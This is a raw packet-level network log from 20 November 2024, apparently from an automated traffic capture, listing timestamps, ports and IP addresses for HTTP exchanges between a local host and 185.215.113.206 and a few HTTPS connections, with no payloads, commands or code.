Nov 20, 2024 14:43:39.339421988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.339459896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.340658903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.340713024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.340715885 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.340760946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.342055082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.342124939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.342248917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.342366934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.343501091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.343592882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.343631983 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.343673944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.344897985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.344974041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.345110893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.345151901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.346405029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.346468925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.346498013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.346517086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.347677946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.347698927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.347739935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.350372076 CET	49864	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.350411892 CET	443	49864	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.350775957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.350795984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.350809097 CET	49864	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.350809097 CET	49864	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.350827932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.350843906 CET	443	49864	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.350847006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.350867033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.350877047 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.350883961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.350908041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.352122068 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.352169991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.352173090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.352216959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.353311062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.353327036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.353367090 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.353390932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.354722977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.354789972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.355248928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.355360031 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.356947899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.356978893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.357001066 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.357026100 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.357594013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.357647896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.357686996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.357726097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.359013081 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.359256029 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.360945940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.360964060 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.360975027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.361007929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.361044884 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.361888885 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.361953974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.362411976 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:39.362432003 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:39.362827063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.362884045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.367516041 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:39.367554903 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:39.368149042 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:39.368165016 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:39.410116911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.410281897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.410547972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.410600901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.410767078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.410775900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.410828114 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.411921024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.411978960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.412532091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.412615061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.413239002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.413297892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.413340092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.413378954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.414670944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.414716959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.414959908 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.415000916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.416064978 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.416146040 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.416194916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.417463064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.417531013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.418050051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.418670893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.480117083 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.480129957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.480200052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.480602980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.480644941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.480787039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.480830908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.481775045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.481786966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.481823921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.483068943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.483128071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.483212948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.483253956 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.484224081 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.484237909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.484277964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.485426903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.485475063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.485606909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.485651016 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.486645937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.486659050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.486696005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.486715078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.487745047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.487807035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.487885952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.487925053 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.488864899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.488931894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.489023924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.489069939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.490093946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.490107059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.490159035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.490186930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.491396904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.491409063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.491455078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.491477013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.492475986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.492489100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.492533922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.493590117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.493602991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.493639946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.494683027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.494739056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.494972944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.495912075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.495923996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.495966911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.495990992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.497042894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.497056961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.497096062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.498080969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.498131990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.498236895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.498281956 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.499288082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.499336958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.499463081 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.499509096 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.500464916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.500477076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.500516891 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.501612902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.501665115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.501754999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.501799107 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.502681971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.502729893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.502861977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.502918959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.503860950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.503911018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.504317045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.504359961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.505033970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.505047083 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.505085945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.505984068 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.506069899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.506130934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.506464958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.506479025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.506515980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.506541014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.506544113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.506555080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.506597996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.506762981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.506963015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.507014036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.508131981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.508188009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.508230925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.508270979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.509032011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.509094000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.509824991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.509902000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.510174990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.510243893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.510484934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.510534048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.511305094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.511356115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.511562109 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.511609077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.512443066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.512496948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.512617111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.512666941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.513492107 CET	443	49852	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.513556004 CET	443	49852	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.513562918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.513621092 CET	49852	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.513679028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.513704062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.513729095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.513950109 CET	49852	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.513969898 CET	443	49852	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.513983011 CET	49852	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.513988972 CET	443	49852	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.514724016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.514794111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.514837027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.514880896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.515907049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.516078949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.516285896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.516971111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.517052889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.517056942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.517102957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.518161058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.518224001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.518234968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.518280983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.520487070 CET	49865	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.520531893 CET	443	49865	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.521841049 CET	49865	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.521995068 CET	49865	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.522006989 CET	443	49865	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.523570061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.523583889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.523618937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.523629904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.523633003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.523674011 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.523725986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.523775101 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.524585009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.524633884 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.525280952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.525336027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.525727034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.525790930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.526271105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.526388884 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.526400089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.526444912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.527715921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.527853012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.528815985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.528884888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.528981924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.528995991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.529030085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.529052019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.529905081 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.529987097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.530191898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.530236959 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.531156063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.531203032 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.531759977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.531912088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.532244921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.532284021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.532416105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.532481909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.611473083 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.611552000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.611675978 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.611730099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.611959934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.612008095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.612189054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.612234116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.612792969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.612916946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.612942934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.612982035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.614099979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.614114046 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.614162922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.615111113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.615169048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.615212917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.616225958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.616278887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.616430998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.616471052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.617374897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.617430925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.617465973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.617544889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.680176973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.680255890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.682044029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.682055950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.682068110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.682109118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.682117939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.682123899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.682147980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.682168961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.682914019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.682928085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.682961941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.682975054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.684359074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.684370995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.684448004 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.684982061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.685434103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.685926914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.686219931 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.686572075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.687371016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.687383890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.688218117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.688230991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.689444065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.689932108 CET	80	49800	185.215.113.206	192.168.2.6
